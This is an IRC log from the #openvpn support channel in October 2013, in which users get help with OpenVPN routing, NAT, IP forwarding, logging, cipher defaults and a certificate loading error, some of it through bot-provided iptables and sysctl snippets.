16:50 -!- elfixit [~Icedove@adsl-178-39-151-161.adslplus.ch] has quit [Client Quit]
16:51 <+pekster> If you can ping a global IP (8.8.8.8 is a nice example as it's global and responds to pings) then the VPN "is working"
16:51 < guy> well, that worked.
16:51 < guy> Though, IRC didn't...
16:51 < guy> since I don't have firewall rules on the VPN server.../
16:52 <+pekster> Then some upstream firewall is probably getting in the way; better traceroute tools let you trace via a specific protocol/port
16:53 -!- Silverfox [~SilverFox@unaffiliated/silvera/x-884105] has quit [Quit: leaving]
16:57 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 260 seconds]
16:58 -!- guy [~gajus@oftn/member/guy] has quit [Read error: Connection reset by peer]
16:59 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:59 -!- guy [~gajus@oftn/member/guy] has joined #openvpn
16:59 < guy> This is what I get if I traceroute from my box https://gist.github.com/anonymous/6f2ee45771fcb47fda43
16:59 <@vpnHelper> Title: gist:6f2ee45771fcb47fda43 (at gist.github.com)
16:59 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:59 < guy> as opposed to, this is what I get if I traceroute from VPN server https://gist.github.com/anonymous/7560ba880a512eb073ea
16:59 <@vpnHelper> Title: gist:7560ba880a512eb073ea (at gist.github.com)
17:04 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
17:06 -!- elfixit [~Icedove@adsl-178-39-151-161.adslplus.ch] has joined #openvpn
17:07 -!- elfixit [~Icedove@adsl-178-39-151-161.adslplus.ch] has quit [Client Quit]
17:08 < guy> pekster: sorry to bother.. though, any thoughts?
17:11 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has quit [Remote host closed the connection]
17:11 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has joined #openvpn
17:15 -!- guy [~gajus@oftn/member/guy] has quit [Read error: Connection reset by peer]
17:50 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
17:58 -!- francoisbeau [~francoisb@modemcable124.136-130-66.mc.videotron.ca] has joined #openvpn
17:58 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:03 -!- xeqution [~z6@unaffiliated/z6] has joined #openvpn
18:05 -!- zedsix [~z6@unaffiliated/z6] has quit [Ping timeout: 265 seconds]
18:13 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
18:33 -!- francoisbeau [~francoisb@modemcable124.136-130-66.mc.videotron.ca] has quit [Quit: francoisbeau]
18:37 -!- master_of_master [~master_of@p4FF2466E.dip0.t-ipconnect.de] has joined #openvpn
18:40 -!- master_o1_master [~master_of@p4FD7B829.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
18:46 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Ping timeout: 240 seconds]
18:56 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 265 seconds]
19:34 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has joined #openvpn
19:38 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has quit [Read error: Connection reset by peer]
20:15 -!- raidz is now known as raidz_away
20:22 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has joined #openvpn
20:33 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.2]
20:58 -!- akurilin [~akurilin@208.185.21.146] has quit [Remote host closed the connection]
20:58 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
21:10 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
21:12 < mapps> damn
21:12 < mapps> broke my vpn again
21:12 < mapps> !welcome
21:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
21:12 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
21:12 < mapps> !howto
21:12 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
21:13 < mapps> !redirect
21:13 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
21:13 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
21:13 < mapps> !ipforward
21:13 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
21:13 < mapps> !linipforward
21:13 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
21:13 < mapps> hm
21:17 < mapps> !nat
21:17 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
21:17 < mapps> !linat
21:17 < mapps> !linnat
21:17 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
21:18 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
21:25 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:39 -!- master_o1_master [~master_of@p4FF2438B.dip0.t-ipconnect.de] has joined #openvpn
21:42 -!- master_of_master [~master_of@p4FF2466E.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
21:49 < mapps> anyone able to lend a hand
21:49 < mapps> bit  stuck again
21:49 < mapps> hey crass
21:49 < mapps> ive enabled ip_forward..done nat on iptables..forwarded the port 1194 and i cant access anything..what have i done :(
21:50 < mapps> i can see packets from the client -> server with tcpdump tho
21:57 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
21:57 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:02 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
22:03 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
22:08 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
22:09 -!- xeqution [~z6@unaffiliated/z6] has quit [Ping timeout: 272 seconds]
23:02 -!- Carbon_Monoxide [~cmonxide@14.0.143.171] has joined #openvpn
23:09 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
23:13 -!- Carbon_Monoxide [~cmonxide@14.0.143.171] has left #openvpn ["Leaving"]
23:16 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
23:32 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has quit [Ping timeout: 245 seconds]
23:36 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 252 seconds]
23:55 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
--- Day changed Thu Oct 17 2013
00:00 -!- goldkatze [~nobody@188-194-186-243-dynip.superkabel.de] has joined #openvpn
00:00 -!- goldkatze [~nobody@188-194-186-243-dynip.superkabel.de] has quit [Changing host]
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:15 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:43 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:29 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
01:35 -!- mattock_afk is now known as mattock
01:54 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
01:55 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:59 -!- sobersabre [~Sober@109.66.196.252] has joined #openvpn
01:59 < sobersabre> hi
02:00 < sobersabre> is there a channel dedicated to openvpnas ?
02:00 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
02:06 -!- JSharpe [~JSharpe@ns222920.ovh.net] has quit [Read error: Operation timed out]
02:07 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
02:08 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has quit [Read error: Connection reset by peer]
02:09 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
02:10 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-sjmvvufzxnrqoquq] has quit [Ping timeout: 268 seconds]
02:13 -!- takamich_ [~takamichi@85.12.8.13] has joined #openvpn
02:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 272 seconds]
02:19 -!- afuentes [~afuentes@243.Red-83-60-110.dynamicIP.rima-tde.net] has joined #openvpn
02:24 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
02:39 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:44 -!- smue [smue@nostromo.smue.info] has quit [Remote host closed the connection]
02:44 -!- smue [smue@nostromo.smue.info] has joined #openvpn
02:47 -!- rastos [~Miranda@dsl-static-56.212-5-197.telecom.sk] has joined #openvpn
02:48 < rastos> !welcome
02:48 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
02:48 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
02:54 -!- sauce [sauce@unaffiliated/sauce] has quit [Quit: sauce]
02:56 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
02:59 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
03:24 -!- takamich_ [~takamichi@85.12.8.13] has quit [Ping timeout: 272 seconds]
03:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:33 -!- alanjf [~ajf@unaffiliated/alanjf] has quit [Read error: Connection reset by peer]
03:43 -!- ludde_ [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
03:49 -!- Carbon_Monoxide [~cmonxide@14.0.143.171] has joined #openvpn
03:49 -!- Carbon_Monoxide [~cmonxide@14.0.143.171] has left #openvpn []
04:03 -!- rastos [~Miranda@dsl-static-56.212-5-197.telecom.sk] has quit [Read error: Connection reset by peer]
04:04 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
04:04 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
04:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
04:06 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
04:06 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:07 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-edxhpixzagwyxyqh] has joined #openvpn
04:07 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
04:14 < andi> HI
04:17 < andi> I'd like to setup source based routing. I have a host which has a default gateway and a openvpn connection with which this host can reach the internet. All traffic should go through this vpn tunnel but I'd like to be able to connect via ssh to the external ip of this host. Therefore ssh packages which come through eth0 need to be routed back again to eth0. Since I do not know from which ip address my ssh connections come from I tried to set this up ...
04:17 < andi> ... with an iptables prerouting entry which marks the ssh packages. After that I redirect all packages which have set fwmark 0x2 to another routing table which has my external default route. The problem is: That does not work. :(
04:18 < andi> Can somebody give me a hint how to configure this?
04:49 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 272 seconds]
04:56 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
05:06 -!- jefferai [~quassel@kde/mitchell] has quit [Quit: No Ping reply in 180 seconds.]
05:06 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
05:25 -!- smue [smue@nostromo.smue.info] has quit [Quit: may the force be with you...]
05:27 -!- smue [smue@nostromo.smue.info] has joined #openvpn
05:38 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
05:40 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:41 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Read error: Connection reset by peer]
05:59 < Nothing4You> !ppp
05:59 < Nothing4You> !pppd
05:59 < Nothing4You> !dialup
05:59 < Nothing4You> !umts
05:59 < Nothing4You> hmm
05:59 < Nothing4You> iirc there was something added a long time ago
05:59 < Nothing4You> i forgot how it was named :/
06:00 < Nothing4You> it's about problems with pppd and the route it creates which is not compatible with openvpns route detection
06:00 < Nothing4You> !route
06:00 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
06:00 <@vpnHelper> behind the server or client
06:01 < Nothing4You> is there a command to list all commands?
06:25 < Nothing4You> ah i found it
06:25 < Nothing4You> !ppp_defaultroute
06:25 <@vpnHelper> "ppp_defaultroute" is if your otherwise working openvpn config can not redirect-gateway because its default gateway is ppp and openvpn complains it can not find the default gateway; you can try this: http://blog.wsensors.com/2011/04/openvpn-and-ppp-on-linux-vpn-traffic-forwarding-default-gateway-fix/
06:29 -!- shinao1 [~shinao1@41.71.173.141] has joined #openvpn
06:29 -!- Sandfly [~ma1com10t@host-92-20-25-149.as13285.net] has joined #openvpn
06:30 < Sandfly> !welcome
06:30 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
06:30 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:31 < Sandfly> !forum
06:31 <@vpnHelper> "forum" is (#1) The official OpenVPN support forum is available at http://forums.openvpn.net or (#2) you can join #OpenVPN-Forum to see the forum-feed announcements if you want to.
06:32 < shinao1> hi! Please I have a small problem.. I have an openvpn server that is not on the gateway or router and the router manages multiple subnets. the OpenVPN server allows vpn clients access to machines on its own subnet successfully (192.168.2.0) Please I would like to know how to provide routes properly that allows access to other subnets/VLANs nearby it (like 10.11.0.0, etc?)
06:32 < Sandfly> Hi .. i would like to speak to an openvp forum mod (particularly krzee) regarding an abusive user on the forum, thanks
06:38 -!- shinao1 [~shinao1@41.71.173.141] has quit [Ping timeout: 272 seconds]
06:38 -!- Denial [Denial@90.216.209.93] has joined #openvpn
06:39 < Nothing4You> Sandfly: doesn't the forum have a PM feature?
06:43 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:46 < Sandfly> Nothing4You
06:46 < Sandfly> krzee says he prefers to be contacted here
06:47 < Nothing4You> kk
06:47 < Nothing4You> i guess you'll have to wait then :P
06:47 < Sandfly> no prob
06:47 < Sandfly> thanks
06:54 -!- shinao1 [~shinao1@41.58.44.104] has joined #openvpn
06:59 -!- Denial [Denial@90.216.209.93] has quit []
06:59 -!- memand [~memand@80-71-135-127.u.parknet.dk] has joined #openvpn
07:01 < shinao1> hi! Please I have a small problem.. I have an openvpn server that is not on the gateway or router and the router manages multiple subnets. the OpenVPN server allows vpn clients access to machines on its own subnet successfully (192.168.2.0) Please I would like to know how to provide routes properly that allows access to other subnets/VLANs nearby it (like 10.11.0.0, etc?)
07:04 < memand> Hey guys, I'm trying to follow this https://wiki.archlinux.org/index.php/OpenVPN#Advanced_L3_IP_routing but I'd like to make sure that it does what I intend it to do... What I want to make possible is: Client1 connect to the server annd then the server get's access to the clients LAN. Client2 connects and the server now has access to his LAN and he has access to the servers LAN including Client1s LAN, and
07:04 < memand> vice versa (Cliant1 also has access to Client2s LAN)
07:04 <@vpnHelper> Title: OpenVPN - ArchWiki (at wiki.archlinux.org)
07:05 < memand> So in effect everyone connecting to this VPN gets their LAN "extended" to every other network connected
07:09 -!- Denial [Denial@90.216.209.93] has joined #openvpn
07:09 < memand> What would I need to do to set this up?
07:12 < Sandfly> @memand did you read this : http://openvpn.net/index.php/open-source/documentation/howto.html#scope
07:12 <@vpnHelper> Title: HOWTO (at openvpn.net)
07:13 < memand> I did not, reading it now
07:13 < Sandfly> cool .. it is the very best place to start
07:15 < memand> Thanks, I guess I've become a little to trusting of the extend of the Arch wiki
07:27 < memand> Ok, serious cudos to the OpenVPN team for documentation done right !!
07:31 < memand> I'm now only left with two questions: 1. If I have machine 1 on a client network connect to the VPN with "push route" and "client-to-client" configured will machine 2 on the client network then be able to comunicate with the VPN network? and 2. How do I figure out the whole gateway thing?
07:32 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
07:40 < memand> To give a more detailed example: Lets say that I have subnet 1 (192.168.0.0/24) and subnet 2 (10.0.0.0/24) connected to the VPN net (10.8.0.0/24) and the client machine on subnet 1 is 192.168.0.2 can and the client machie on subnet 2 is 10.0.0.2 can I then send packets seemlesly between 192.0.0.5 and 10.0.0.5 when I have "push route" and "client-to-client" set up?
07:40 < memand> s/can and/and/
07:45 < Sandfly> if it is done right then yes - but not broadcast packets
07:45 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
07:46 < memand> Sandfly: Broadcast packets?
07:46 < Sandfly> like netbios broadcasts
07:46 < Sandfly> eg 192.168.0.255
07:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:47 < memand> Hmm, I have no idea what that even is so I doubt that we will be needing it but I'll look it up just for the sake of learning
07:48 < Sandfly> if you don't need it then don't worry about it but it never hurts to learn
07:50 < memand> I just found it on wikipedia, and just to make sure I understand it you could use it pratically to send a wake on LAN message to a whole network at once?
07:50 < Sandfly> yeah but WOL cannot be sent over a vpn
07:51 < memand> Ok, other than that I don't really see the practicallity of broadcasting to an entire network at the same time
07:54 < Sandfly> actually WOL can be sent over a vpn but only to a specific machine .. obv not including the VPN client
07:57 < memand> Cool, thanks for the info :D
07:57 < memand> btw I'm still a bit confused about the whole gateway thing on the server side...
08:02 < Sandfly> gateway in this case usually means the "default gateway" on your network LAN
08:03 < Sandfly> IE your router
08:03 < Sandfly> if your pc is also your router then ...
08:03 < Sandfly> your gateway is your pc
08:04 < memand> How can I find out if that is the case?
08:04 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds]
08:04 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
08:04 < memand> I'm not completely sure how they have it set up at the place where we are renting our server
08:05 < Sandfly> look up your IP settings
08:05 < Sandfly> on the machine you want to know about
08:05 < Sandfly> or ask the people who u rent the server from
08:05 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
08:07 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
08:07 -!- raidz_away is now known as raidz
08:07 -!- raidz [~raidz@raidz.im] has quit [Changing host]
08:07 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
08:07 -!- mode/#openvpn [+o raidz] by ChanServ
08:09 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
08:17 -!- memand [~memand@80-71-135-127.u.parknet.dk] has quit [Ping timeout: 245 seconds]
08:51 -!- esde [~esde@162.218.209.203] has quit [Changing host]
08:51 -!- esde [~esde@unaffiliated/esde] has joined #openvpn
08:55 -!- shinao1 [~shinao1@41.58.44.104] has quit [Ping timeout: 272 seconds]
08:59 -!- francoisbeau [~francoisb@209.29.57.126] has joined #openvpn
09:00 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
09:00 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
09:07 -!- francoisbeau [~francoisb@209.29.57.126] has quit [Read error: Connection reset by peer]
09:08 -!- memand [~memand@80-71-135-127.u.parknet.dk] has joined #openvpn
09:10 < memand> I just lost my internet for 20 mins, but thanks for all the info so far Sandfly... I'll try to figure out the gateway thing now, if the server is not the default gateway itself I need to talk to the people that rent it ot about the gateway set up correctly right?
09:14 -!- sseann [~sseann@host8-34.sph.umich.edu] has joined #openvpn
09:14 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has left #openvpn ["Textual IRC Client: http://www.textualapp.com/"]
09:17 -!- francoisbeau [~francoisb@209.29.57.126] has joined #openvpn
09:35 < sseann> Hello, I just setup OpenVPN using this tutorial: https://wiki.archlinux.org/index.php/OpenVPN - how can I make Firefox traffic go through the VPN? (Client+Server: Debian)
09:35 <@vpnHelper> Title: OpenVPN - ArchWiki (at wiki.archlinux.org)
09:40 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
09:45 < Freeaqingme> Does anybody know if Openvpn supports multicast traffic when using tun devices?
09:46 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
09:46 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Client Quit]
09:47 <@ecrist> no, it does not
09:47 <@ecrist> you have to use tap
09:47 < Freeaqingme> thanks
09:57 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
09:59 -!- shinao1 [~shinao1@41.58.44.104] has joined #openvpn
10:06 -!- shinao1_ [~shinao1@41.58.35.78] has joined #openvpn
10:06 -!- Laverne [~Laverne@devilsown.net] has quit [Ping timeout: 268 seconds]
10:09 -!- shinao1 [~shinao1@41.58.44.104] has quit [Ping timeout: 260 seconds]
10:25 < sseann> Can I use OpenVPN in the same way you use SSH tunneling for HTTP/HTTPS traffic?
10:34 < rob0> um, I am not sure what you mean. OpenVPN gives you an IP address and one or more routes that it will use.
10:35 < rob0> You could either run a proxy on the other side of the VPN and configure your browser to use it, or:
10:35 < rob0> !redirect
10:35 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:35 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
10:36 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
10:51 -!- u0m3 [~u0m3@92.80.97.224] has joined #openvpn
10:51 -!- cald [~cald@tsn109-201-135-220.dyn.nltelcom.net] has joined #openvpn
10:52 < cald> Hello. How do you make so that openvpn server does not save any logs?
10:54 <+pekster> Read about --verb, --log, and possibly --syslog and --daemon to learn how logging works
10:57 -!- alanjf [~ajf@unaffiliated/alanjf] has joined #openvpn
10:58 <@ecrist> --log /dev/null
10:58 <@ecrist> :P
10:58 < cald> ecrist: thanks. Where should I write it? :P
10:59 < Sandfly> verb 0
10:59 <+pekster> Well, maybe, assuming initscripts don't mess with it (hence my reading suggestions to aid in figuring that out)
11:00 < Sandfly> @pekster - agreed
11:05 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:06 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:08 -!- francoisbeau [~francoisb@209.29.57.126] has quit [Quit: francoisbeau]
11:08 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
11:25 <@ecrist> cold, please no PMs.  I appreciate the offer, but I really have no use for your VPS or VPN accounts.  I have plenty of access to lots of bandwidth already. :)
11:28 -!- francoisbeau [~francoisb@205.204.85.6] has joined #openvpn
11:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:33 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:33 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:34 -!- francoisbeau [~francoisb@205.204.85.6] has quit [Quit: francoisbeau]
11:35 -!- Laverne [~Laverne@devilsown.net] has joined #openvpn
11:36 < memand> Hey guys, if I do not specify the cipher option in the server/client.conf file there will be no encryption on the VPN?
11:36 < rob0> cipher has a default value. Default values are always there unless changed in the config file or on the command line.
11:37 < memand> Ok :)
11:37 < memand> I where starting to get worried :P
11:37 < memand> Do you remember what the default value is?
11:37 < rob0> see --cipher in the man page
11:37 < memand> thx :)
11:38 < rob0> I think the default varies with openssl vs. polarssl
11:39 < memand> The default is BF-CBC
11:41 -!- Fetch [fetch@gimel.cepheid.org] has joined #openvpn
11:41 -!- francoisb [~francoisb@205.204.85.6] has joined #openvpn
11:41 <+pekster> polar can do BF now
11:42 < memand> I have actually never even heard of polarssl what are the gains/drawbacks of it?
11:42 < Fetch> would there be any way configure openvpn server processes to push routes based on a routing protocol or sourced from an external script? I have 4 server instances (more to come) which currently adds a bit of overhead whenever I add a new subnet I want openvpn clients to be able to access. Setting a default route isn't an option for me.
11:43 < tw> I have a udp vpn config that uses the fqdn of the server to connect. On a particular network, occasionally interrupted and since the dns servers passed by the server are now unreachable and it doesn't resolve the vpn server for auto-reconnect. What's the best way to resolve this without reissuing a ton of vpn configs using a round robin ip list?
11:44 <+pekster> memand: It's a simplified codebase, but it offers much less support for ciphers and lacks other features openssl has (like openssl's ability to act as a CA, for instance)
11:44 < Fetch> tw: pushing a fall-back external DNS server such as 8.8.8.8
11:45 <+pekster> Fetch: See --client-connect and you can script any content you would put in a ccd file (see !ccd) by sending it to the file you get in $1 of that script
11:45 < memand> pekster: So no good reason for using it unless you are runnning some imbeded system where you have size limitations on you binaries?
11:45 <+pekster> memand: Right, or if you "just hate openssl" ;)
11:46 < memand> Thanks :)
11:46 < memand> The more you learn :D
11:46 < Fetch> pekster: interesting, thanks
11:47 < rob0> tw, this is why I use dnsmasq on all sides of a VPN. Are you using "--redirect-gateway"?
11:47 < tw> yes, I am.
11:47 < tw> I think I will also need to push a route for 8.8.8.8 if I use it as a fallback such that it doesn't route through the vpn.
11:48 < Fetch> tw: eh yeah, and worse with that is you can't predict what to push for various clients. Apologies, didn't realize you were redirecting gw
11:49 < rob0> When the VPN is down, your route should drop, and you can get to the Internet. If your dnsmasq had been using 8.8.8.8, or your own caching nameserver, this would failover cleanly.
11:49 < tw> Fetch: I can geoloc the IP and ccd/--client-connect to know what to push, actually.
11:50 -!- francoisb [~francoisb@205.204.85.6] has quit [Quit: francoisb]
11:51 < tw> rob0: Windows doesn't appear to drop the routes when it is in the "send udp packets to try to reconnect" phase. The connection is unuseable, but it isn't down.
11:52 < tw> It just writes a bunch of log messages saying "Cannot resolve host address: <vpnfqdn>: [NO_DATA] The request name is valid but does not have an IP address."
11:52 <+pekster> tw: Do you mean the keepalive traffic? You need to have actively expired the keepalive timeout, _and_ need to _not_ be using --persist-tun
11:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
12:01 < memand> When I try to start the client I get this:
12:01 < memand> Thu Oct 17 18:59:18 2013 us=967607 Cannot load certificate file /etc/openvpn/memand.crt: error:0906D06C:PEM routines:PEM_read_bio:no start line: error:140AD009:SSL routines:SSL_CTX_use_certificate_file:PEM lib
12:01 < memand> Thu Oct 17 18:59:18 2013 us=967631 Exiting due to fatal error
12:01 < memand> I tried googleing it but with no luck
12:02 < memand> I have the .crt in the right folder
12:02 < memand> ?_?
